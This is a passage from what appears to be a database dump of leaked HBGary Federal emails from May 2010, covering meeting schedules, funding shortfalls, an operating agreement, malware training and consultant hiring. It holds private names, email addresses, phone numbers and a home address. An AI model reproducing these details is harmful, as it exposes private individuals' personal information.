Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nAerospace and DefenseHealthcare ServicesGovernment and MilitarySecurity and SurveillanceOther/Not Classified\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nSecurity/Protective ServicesMilitary Combat\r\nPolice-Law EnforcementSecurity GuardSecurity Intelligence &amp; Analysis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-PA-Harrisburg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 25% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',3515,'aaron_hbgary_com/3515.html'),(6120,'2010-05-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004410.M772444P14101Q975.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meet with Paul Bartock','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeap same guy works with Tony Saeger.&nbsp; Your call.&nbsp; I&#8217;ll have\r\nRich and Bob with me.&nbsp; Know it&#8217;s a long haul\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, May 08, 2010 9:04 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Meet with Paul Bartock\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSame guy? &nbsp;Before i thought u wanted me up there.\r\n&nbsp;What org is he with? &nbsp;If I am not going to add benefit or\r\npossibility of selling services then no need. &nbsp;What is your thought?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 8, 2010, at 11:48 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHas\r\nbeen changed to 8:30am.&nbsp; You can attend if you want.&nbsp; Same hotel\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations governing\r\ntax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4889,'aaron_hbgary_com/4889.html'),(6121,'2010-05-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004411.M391655P14101Q977.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Operating agreement','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: May 8, 2010 7:55:43 PM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Cc: &quot;&#39;DeeAnn Buonaccorsi&#39;&quot; &lt;deeann@hbgary.com&gt;\r\nSubject: RE: Operating agreement\r\n\r\n\r\n\r\nTed, you need to ask Deeann to do this, I asked her, but I don’t’\r\nhave time to scan docs to John.  Deeann, did you do this last week?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Saturday, May 08, 2010 4:19 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Fwd: Operating agreement\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHi Penny,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCan you send the signed copies John is requesting, and I&#39;ll\r\nkeep them on file. Does Dee Ann have them? \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;John L. Cox,\r\nCPA&quot; &lt;johncoxcpa@verizon.net&gt;\r\nDate: May 6, 2010 6:51:09 AM MDT\r\nTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;\r\nSubject: RE: Operating agreement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe agreement is signed by\r\nAaron and you.  I need signature pages signed by\r\nPenny, Nina and Richard.  Thanks.\r\n\r\nJohn L. Cox, CPA\r\n12107 Faith Lane\r\nBowie, Maryland 20715\r\n(240) 949-6022 Voice \r\n(866) 750-1973 Fax\r\n \r\nThis message contains information that may be confidential and privileged.\r\nUnless you are the addressee (or authorized to receive for the addressee),\r\nyou may not use, copy, print or disclose to anyone the message or any\r\ninformation contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, May 05, 2010 8:42 PM\r\nTo: John L. Cox, CPA\r\nSubject: Fwd: Operating agreement\r\n\r\nDo you need me to forward all of the signature pages from each of the\r\nmembers?\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;\r\nDate: Tuesday, February 2, 2010\r\nSubject: Operating agreement\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;,\r\nPenny Leavy &lt;penny@hbgary.com&gt;,\r\nVera Ted\r\n&lt;ted@hbgary.com&gt;\r\n\r\n\r\n This document was sent using Zosh an application that let&#39;s you fill out,\r\nsign and send documents all from your iPhone.   If you want to learn\r\nmore\r\nvisit www.zosh.com or go to the App Store and\r\nsearch for &quot;Zosh&quot;.\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5340,'aaron_hbgary_com/5340.html'),(6122,'2010-05-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004411.M600142P14101Q978.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Monday','Hotel 1100 Old Elkridge, it\'s a Sheraton.  The other one is Rich\'s\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 2:44 PM\r\nTo: Penny Leavy\r\nSubject: Monday\r\n\r\nWhat is the plan/schedule for Monday?  Are we still meeting at the hotel.  I\r\nsee a meeting an NSA HQ on the calendar but no hotel meeting?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3018,'aaron_hbgary_com/3018.html'),(6123,'2010-05-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004411.M808058P14101Q979.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Funding','I will be in DC on Monday and back in Sacramento on Tuesday.  I have a\r\nmeeting at 8:30 am, I anticipate about a hour to hour and a half and another\r\nat 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn deposited\r\nthe check on Friday, might not have hit.  You need to sign a new document\r\nthat would allow me to transfer funds to your account.  Otherwise we have to\r\ngo to the bank which while close, it difficult when we are slammed, which we\r\nare right now.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 6:23 PM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Ted Vera\r\nSubject: Funding\r\n\r\nPenny/Greg,\r\n\r\nWe need to have a conversation about funding, our pipeline, and path\r\nforward.  We are dangerously low on funds.  To the point we paid mark\r\nthis week but could not pay ourselves.\r\n\r\nPlease let\'s set up something for Monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',2675,'aaron_hbgary_com/2675.html'),(6124,'2010-05-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004411.M96571P14101Q976.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meet with Paul Bartock','She seems to be avoiding the topic, there must be a reason for that, don&#39;t you think?On May 8, 2010, at 10:00 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am really starting to get unhappy.Sent from my iPadBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\n\r\nDate: May 8, 2010 11:48:18 AM EDTTo: &quot;&#39;Barr Aaron&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Meet with Paul Bartock\r\n\r\n\r\n\r\n\r\n\r\nHas been changed to 8:30am.  You can attend if you want.  Same\r\nhotel\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16448,'aaron_hbgary_com/16448.html'),(6125,'2010-05-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004412.M56401P14101Q980.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI don&#8217;t have a problem with you training, provided that it&#8217;s\r\non the cirriculm and you know it.&nbsp; With regards to IR, we are hiring\r\nsomeone to do it.&nbsp; We need someone specialized to do it, if you&#8217;ve\r\nnever done it before it&#8217;s not something&nbsp; you just &#8220;pick up&#8221;.&nbsp;\r\nHaving been on a couple now, we found things out that we weren&#8217;t\r\nanticipating, you have to be a malware specialist and know network stuff,\r\nEncase etc.&nbsp; I don&#8217;t&#8217; think we should try to do this without\r\nhaving experience.&nbsp; Without Rich and Phil, we would never have been able\r\nto do this.&nbsp; That said, we can work something out with Mike.&nbsp; We also\r\nhave relationships in place we can call on.&nbsp; ISEc is training here on T/W\r\nand they are good.&nbsp; Let&#8217;s discus with Greg on phone\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 2:55 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Hoglund Greg; Barr Aaron\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAfter Mark is trained up on the tools, what do you think\r\nabout us conducting the basic courses here in Colorado Springs? I could promote\r\nit, and think that there would be enough interest between Colorado Springs and\r\nDenver to fill the seats. I\'ve taught classes for years and with a little ramp\r\nup Mark and I would be comfortable delivering the course material. It could\r\nhelp us get leads for incident response and services gigs, and help bring in\r\nsome revenue. I know people at TechWise and other training centers we could\r\nrent their facilities that have PCs, projectors and everything we\'d need...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\ntraining is at the office, we built out the room upstairs.&nbsp; Yes we are\r\nhaving a mixer\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMark\r\nwill be out in Sacramento next week attending the Malware RE training. Will you\r\nbe having a mixer like last time? I\'d like him to stop by the office to see the\r\nfacility and meet you and the team.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I\'m booked. &nbsp;You wouldn\'t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\nCan\r\nyou reply to all once you\'ve decided if you can go, so Jim\r\n\r\n\r\n\r\nreserves\r\nthe slot.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na matter of fact, there is 1 seat available! Send him out!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604\r\nFair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell\r\nPhone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite:\r\nwww.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent:\r\nWednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nRichards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nJim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthere room for our new employee, Mark Trynor, to sit in the May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12\r\nMalware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10802,'aaron_hbgary_com/10802.html'),(6126,'2010-05-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004412.M811036P14101Q981.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Fwd: HBGary','David Willson is retiring from US Army Strategic Command in a couple of\r\nmonths.  He is one of the top Cyber Attorneys in the Army.  He has lots\r\nof experience dealing with the legal aspects of incident response.  We\r\nare planning to get him on a consulting agreement so we can use him for\r\nfuture engagements, and contracts that require legal expertise, such as\r\nCOIN.  His resume is attached.\r\n\r\nTed\r\n\r\n',2899,'aaron_hbgary_com/2899.html'),(6127,'2010-05-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004413.M331079P14101Q982.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Funding','Thanks. I\'ll call the bank and sign the doc so you can transfer funds.\r\n\r\nTed\r\n\r\n\r\n\r\nOn May 8, 2010, at 8:22 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> I will be in DC on Monday and back in Sacramento on Tuesday.  I have a\r\n> meeting at 8:30 am, I anticipate about a hour to hour and a half and\r\n> another\r\n> at 12:00 with Andy Purdy, then I fly out 3:50PM.  I believe DeeAnn\r\n> deposited\r\n> the check on Friday, might not have hit.  You need to sign a new\r\n> document\r\n> that would allow me to transfer funds to your account.  Otherwise we\r\n> have to\r\n> go to the bank which while close, it difficult when we are slammed,\r\n> which we\r\n> are right now.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 07, 2010 6:23 PM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Funding\r\n>\r\n> Penny/Greg,\r\n>\r\n> We need to have a conversation about funding, our pipeline, and path\r\n> forward.  We are dangerously low on funds.  To the point we paid mark\r\n> this week but could not pay ourselves.\r\n>\r\n> Please let\'s set up something for Monday.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',5685,'aaron_hbgary_com/5685.html'),(6128,'2010-05-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004413.M549885P14101Q983.eml','\"Aaron Barr\" <adbarr@mac.com>','ink','The amount of ink in the following cartridges may be low enough to  \r\ncause poor print quality and a cartridge change may be required soon.  \r\nHP recommends you have replacement cartridges available to install  \r\nwhen print quality is no longer acceptable.\r\nCyan [C]\r\nMagenta [M]\r\nPhoto Black [PK]\r\n',1739,'aaron_hbgary_com/1739.html'),(6129,'2010-05-09','\"Shane Shook\" <shane@shook.net>','/aaron@hbgary.com/new/1297004413.M773824P14101Q984.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Re: catch up Monday?','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nShane Shook has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/09/2010\r\n\r\n\r\n  Subject:\r\n  RE: Re: catch up Monday?\r\n\r\n\r\n\r\n  anytime before 3 is good thanks\r\n\r\n\r\n\r\nOn 05/09/10 6:01 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nSounds good.  How about in the afternoon?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n------------------------\r\n\r\n\r\n\r\nJust to compare notes and see where I can help on current or potential pursuits/projects?\r\n\r\n\r\n\r\n- Shane / 425.891.5281\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4883,'aaron_hbgary_com/4883.html'),(6130,'2010-05-09','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297004414.M244532P14101Q986.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Meeting with Tony Sager @ Mon May 10, 2010 	(aaron@hbgary.com)',' more details &raquo;Meeting with Tony SagerWhenMon May 10, 2010WhereNSA (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',5058,'aaron_hbgary_com/5058.html'),(6131,'2010-05-10','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004414.M466654P14101Q987.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','hmmm....','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/05/07/AR2010050704503.html\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvnU4gACgkQWw/TEDXzQNMF7ACfWp+OBr/3JLT5wccWAaoDwy+G\r\nw+EAn0/WZ1h/G8c2oaFgA8IvguQuiTAo\r\n=WxCb\r\n-----END PGP SIGNATURE-----\r\n',5522,'aaron_hbgary_com/5522.html'),(6132,'2010-05-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004414.M9943P14101Q985.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Ping','Begin forwarded message:From: &quot;Don Mackert&quot; &lt;dmackert@raytheonvtc.com&gt;\r\nDate: May 9, 2010 6:11:21 AM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Cc: &quot;&#39;Paul Perkinson&#39;&quot; &lt;pperk@raytheonvtc.com&gt;\r\nSubject: RE: Ping\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed / Paul,\r\n\r\n \r\n\r\n            I want to link you directly.\r\n\r\n \r\n\r\n            Paul is working some of our initiatives\r\ninvolving Cyber Warfare.\r\n\r\n \r\n\r\n            I think there are some\r\ncapabilities here that can be formed into a compelling story.\r\n\r\n\r\n\r\nDonald R. Mackert \r\nSenior Principal\r\nEngineer - JADOCS \r\nRaytheon Virtual\r\nTechnology Corporation \r\nTEC:\r\n703-428-7162/9004 \r\nCell:\r\n240-273-8198 \r\nEmail:\r\ndmackert@raytheonvtc.com\r\n\r\nNIPR:\r\ndonald.mackert@us.army.mil \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed Vera &lt;ted@hbgary.com&gt;\r\nDate: May 7, 2010 4:08:26 PM MDT\r\nTo: Mackert Donald &lt;donald.mackert@jpeojd.osd.mil&gt;\r\nSubject: Ping\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Don,\r\n\r\n\r\n\r\n\r\n\r\n\r\nDid your email messages drum up any interest? I\r\nhaven&#39;t been contacted by anyone from Raytheon. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe&#39;ve had\r\nsome interesting announcements over the last couple of weeks. Check out\r\nthe\r\nlinks below:\r\n\r\nHBGary announces its enterprise anti-malware\r\nsolution, Active Defense\r\nhttp://www.hbgary.com/press/hbgary-unveils-active-defense/\r\n\r\n\r\nHBGary Named &quot;Cool Vendor&quot; by Gartner\r\nhttp://www.hbgary.com/press/hbgary-named-cool-vendor-by-leading-analyst-\r\n\r\nfirm/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI got a call from CSM Tom\r\nDonohue this morning. Sounds like he is doing well. He&#39;s thinking about moving\r\nhere to Colorado Springs\r\nnext year.\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope you have a nice weekend.\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5541,'aaron_hbgary_com/5541.html'),(6133,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004419.M897978P14101Q988.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Meet with Paul Bartock','Ok.  I think my best luck for services work with the fort is through the big integration contracts like nana or vise.  If he is interested in services work I would be happy ton talk with him.  Sounds lime there is more than enough people going.\r\nAaron Sent from my iPadOn May 8, 2010, at 12:45 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYeap same guy works with Tony Saeger.  Your call.  I’ll have\r\nRich and Bob with me.  Know it’s a long haul\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, May 08, 2010 9:04 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Meet with Paul Bartock\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSame guy?  Before i thought u wanted me up there.\r\n What org is he with?  If I am not going to add benefit or\r\npossibility of selling services then no need.  What is your thought?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 8, 2010, at 11:48 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHas\r\nbeen changed to 8:30am.  You can attend if you want.  Same hotel\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations governing\r\ntax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9210,'aaron_hbgary_com/9210.html'),(6134,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004420.M144826P14101Q989.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Funding','Are u meeting Andy in md or dc?  I would lime to try and catch up with\r\nu after the 830 meeting.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 8, 2010, at 10:22 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> I will be in DC on Monday and back in Sacramento on Tuesday.  I have 